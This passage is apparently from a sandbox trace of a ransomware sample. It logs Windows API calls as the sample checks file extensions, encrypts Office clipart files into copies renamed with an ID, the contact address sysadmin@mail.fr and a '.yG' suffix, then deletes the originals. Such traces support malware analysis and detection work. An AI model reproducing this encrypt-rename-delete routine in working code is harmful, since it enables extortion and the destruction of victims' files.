	[0156.786] WriteFile (in: hFile=0x518, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x6640, lpOverlapped=0x0) returned 1
	[0156.787] ReadFile (in: hFile=0x350, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.787] WriteFile (in: hFile=0x518, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.787] SetEndOfFile (hFile=0x518) returned 1
	[0156.788] CloseHandle (hObject=0x518) returned 1
	[0156.788] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.788] SetEndOfFile (hFile=0x350) returned 1
	[0156.791] CloseHandle (hObject=0x350) returned 1
	[0156.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0156.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 1
	[0156.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.793] lstrlenW (lpString=".doc") returned 4
	[0156.794] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.794] lstrlenW (lpString=".docx") returned 5
	[0156.794] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0156.794] lstrlenW (lpString=".pdf") returned 4
	[0156.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.794] lstrlenW (lpString=".xls") returned 4
	[0156.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.794] lstrlenW (lpString=".xlsx") returned 5
	[0156.794] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0156.794] lstrlenW (lpString=".ppt") returned 4
	[0156.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.794] lstrlenW (lpString=".zip") returned 4
	[0156.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.794] lstrlenW (lpString=".rar") returned 4
	[0156.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.794] lstrlenW (lpString=".bz2") returned 4
	[0156.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.794] lstrlenW (lpString=".7z") returned 3
	[0156.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.795] lstrlenW (lpString=".dbf") returned 4
	[0156.795] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.795] lstrlenW (lpString=".1cd") returned 4
	[0156.795] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.795] lstrlenW (lpString=".jpg") returned 4
	[0156.795] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.795] lstrlenW (lpString=".doc") returned 4
	[0156.795] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.795] lstrlenW (lpString=".docx") returned 5
	[0156.795] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0156.795] lstrlenW (lpString=".pdf") returned 4
	[0156.795] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.795] lstrlenW (lpString=".xls") returned 4
	[0156.795] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.795] lstrlenW (lpString=".xlsx") returned 5
	[0156.795] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0156.796] lstrlenW (lpString=".ppt") returned 4
	[0156.796] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.796] lstrlenW (lpString=".zip") returned 4
	[0156.796] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.796] lstrlenW (lpString=".rar") returned 4
	[0156.796] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.796] lstrlenW (lpString=".bz2") returned 4
	[0156.796] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.796] lstrlenW (lpString=".7z") returned 3
	[0156.796] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.796] lstrlenW (lpString=".dbf") returned 4
	[0156.796] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.796] lstrlenW (lpString=".1cd") returned 4
	[0156.796] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.797] lstrlenW (lpString=".jpg") returned 4
	[0156.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.797] lstrcmpiW (lpString1=".JPG", lpString2=".yG") returned -1
	[0156.797] lstrlenW (lpString="J0099162.JPG") returned 12
	[0156.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.798] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=19656) returned 1
	[0156.798] CloseHandle (hObject=0x350) returned 1
	[0156.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 0x220
	[0156.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.799] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.799] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0156.800] GetLastError () returned 0x0
	[0156.800] ReadFile (in: hFile=0x350, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x4cc8, lpOverlapped=0x0) returned 1
	[0156.813] WriteFile (in: hFile=0x518, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x4cd0, lpOverlapped=0x0) returned 1
	[0156.815] ReadFile (in: hFile=0x350, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.815] WriteFile (in: hFile=0x518, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.815] SetEndOfFile (hFile=0x518) returned 1
	[0156.816] CloseHandle (hObject=0x518) returned 1
	[0156.816] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.816] SetEndOfFile (hFile=0x350) returned 1
	[0156.823] CloseHandle (hObject=0x350) returned 1
	[0156.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0156.825] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 1
	[0156.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0156.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0156.920] lstrlenW (lpString=".doc") returned 4
	[0156.920] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.920] lstrlenW (lpString=".docx") returned 5
	[0156.920] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0156.920] lstrlenW (lpString=".pdf") returned 4
	[0156.921] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.921] lstrlenW (lpString=".xls") returned 4
	[0156.921] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.921] lstrlenW (lpString=".xlsx") returned 5
	[0156.921] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0156.921] lstrlenW (lpString=".ppt") returned 4
	[0156.921] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0156.921] lstrlenW (lpString=".zip") returned 4
	[0156.921] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.921] lstrlenW (lpString=".rar") returned 4
	[0156.921] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.921] lstrlenW (lpString=".bz2") returned 4
	[0156.921] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.921] lstrlenW (lpString=".7z") returned 3
	[0156.921] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0156.922] lstrlenW (lpString=".dbf") returned 4
	[0156.922] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0156.922] lstrlenW (lpString=".1cd") returned 4
	[0156.922] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0156.922] lstrlenW (lpString=".jpg") returned 4
	[0156.922] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0156.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0156.922] lstrlenW (lpString=".doc") returned 4
	[0156.922] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.922] lstrlenW (lpString=".docx") returned 5
	[0156.922] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0156.922] lstrlenW (lpString=".pdf") returned 4
	[0156.922] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.922] lstrlenW (lpString=".xls") returned 4
	[0156.922] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.923] lstrlenW (lpString=".xlsx") returned 5
	[0156.923] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0156.923] lstrlenW (lpString=".ppt") returned 4
	[0156.923] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0156.923] lstrlenW (lpString=".zip") returned 4
	[0156.923] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.923] lstrlenW (lpString=".rar") returned 4
	[0156.923] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.923] lstrlenW (lpString=".bz2") returned 4
	[0156.923] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.923] lstrlenW (lpString=".7z") returned 3
	[0156.923] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0156.923] lstrlenW (lpString=".dbf") returned 4
	[0156.923] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0156.923] lstrlenW (lpString=".1cd") returned 4
	[0156.923] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0156.923] lstrlenW (lpString=".jpg") returned 4
	[0156.923] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.924] lstrcmpiW (lpString1=".JPG", lpString2=".yG") returned -1
	[0156.924] lstrlenW (lpString="J0099166.JPG") returned 12
	[0156.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0157.251] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=64767) returned 1
	[0157.251] CloseHandle (hObject=0x550) returned 1
	[0157.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 0x220
	[0157.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0157.252] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.252] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0157.337] GetLastError () returned 0x0
	[0157.337] ReadFile (in: hFile=0x550, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0xfcff, lpOverlapped=0x0) returned 1
	[0157.341] WriteFile (in: hFile=0x540, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xfd00, lpOverlapped=0x0) returned 1
	[0157.343] ReadFile (in: hFile=0x550, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.343] WriteFile (in: hFile=0x540, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.344] SetEndOfFile (hFile=0x540) returned 1
	[0157.344] CloseHandle (hObject=0x540) returned 1
	[0157.344] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.344] SetEndOfFile (hFile=0x550) returned 1
	[0157.350] CloseHandle (hObject=0x550) returned 1
	[0157.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0157.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 1
	[0157.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0157.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0157.352] lstrlenW (lpString=".doc") returned 4
	[0157.352] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0157.352] lstrlenW (lpString=".docx") returned 5
	[0157.352] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0157.352] lstrlenW (lpString=".pdf") returned 4
	[0157.352] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0157.352] lstrlenW (lpString=".xls") returned 4
	[0157.352] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0157.352] lstrlenW (lpString=".xlsx") returned 5
	[0157.352] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0157.353] lstrlenW (lpString=".ppt") returned 4
	[0157.353] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0157.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0157.353] lstrlenW (lpString=".zip") returned 4
	[0157.353] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0157.353] lstrlenW (lpString=".rar") returned 4
	[0157.353] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0157.353] lstrlenW (lpString=".bz2") returned 4
	[0157.353] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0157.353] lstrlenW (lpString=".7z") returned 3
	[0157.353] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0157.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0157.353] lstrlenW (lpString=".dbf") returned 4
	[0157.353] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0157.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0157.353] lstrlenW (lpString=".1cd") returned 4
	[0157.353] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0157.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0157.353] lstrlenW (lpString=".jpg") returned 4
	[0157.353] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0157.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0157.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0157.354] lstrlenW (lpString=".doc") returned 4
	[0157.354] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0157.354] lstrlenW (lpString=".docx") returned 5
	[0157.354] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0157.354] lstrlenW (lpString=".pdf") returned 4
	[0157.354] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0157.354] lstrlenW (lpString=".xls") returned 4
	[0157.354] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0157.354] lstrlenW (lpString=".xlsx") returned 5
	[0157.354] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0157.354] lstrlenW (lpString=".ppt") returned 4
	[0157.354] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0157.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0157.354] lstrlenW (lpString=".zip") returned 4
	[0157.354] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0157.354] lstrlenW (lpString=".rar") returned 4
	[0157.354] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0157.354] lstrlenW (lpString=".bz2") returned 4
	[0157.354] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0157.354] lstrlenW (lpString=".7z") returned 3
	[0157.355] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0157.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0157.355] lstrlenW (lpString=".dbf") returned 4
	[0157.355] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0157.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0157.355] lstrlenW (lpString=".1cd") returned 4
	[0157.355] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0157.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0157.355] lstrlenW (lpString=".jpg") returned 4
	[0157.355] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0157.355] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0157.355] lstrlenW (lpString="J0099172.WMF") returned 12
	[0157.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0157.356] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=58258) returned 1
	[0157.356] CloseHandle (hObject=0x550) returned 1
	[0157.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 0x220
	[0157.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0157.357] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.357] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0157.358] GetLastError () returned 0x0
	[0157.358] ReadFile (in: hFile=0x550, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0xe392, lpOverlapped=0x0) returned 1
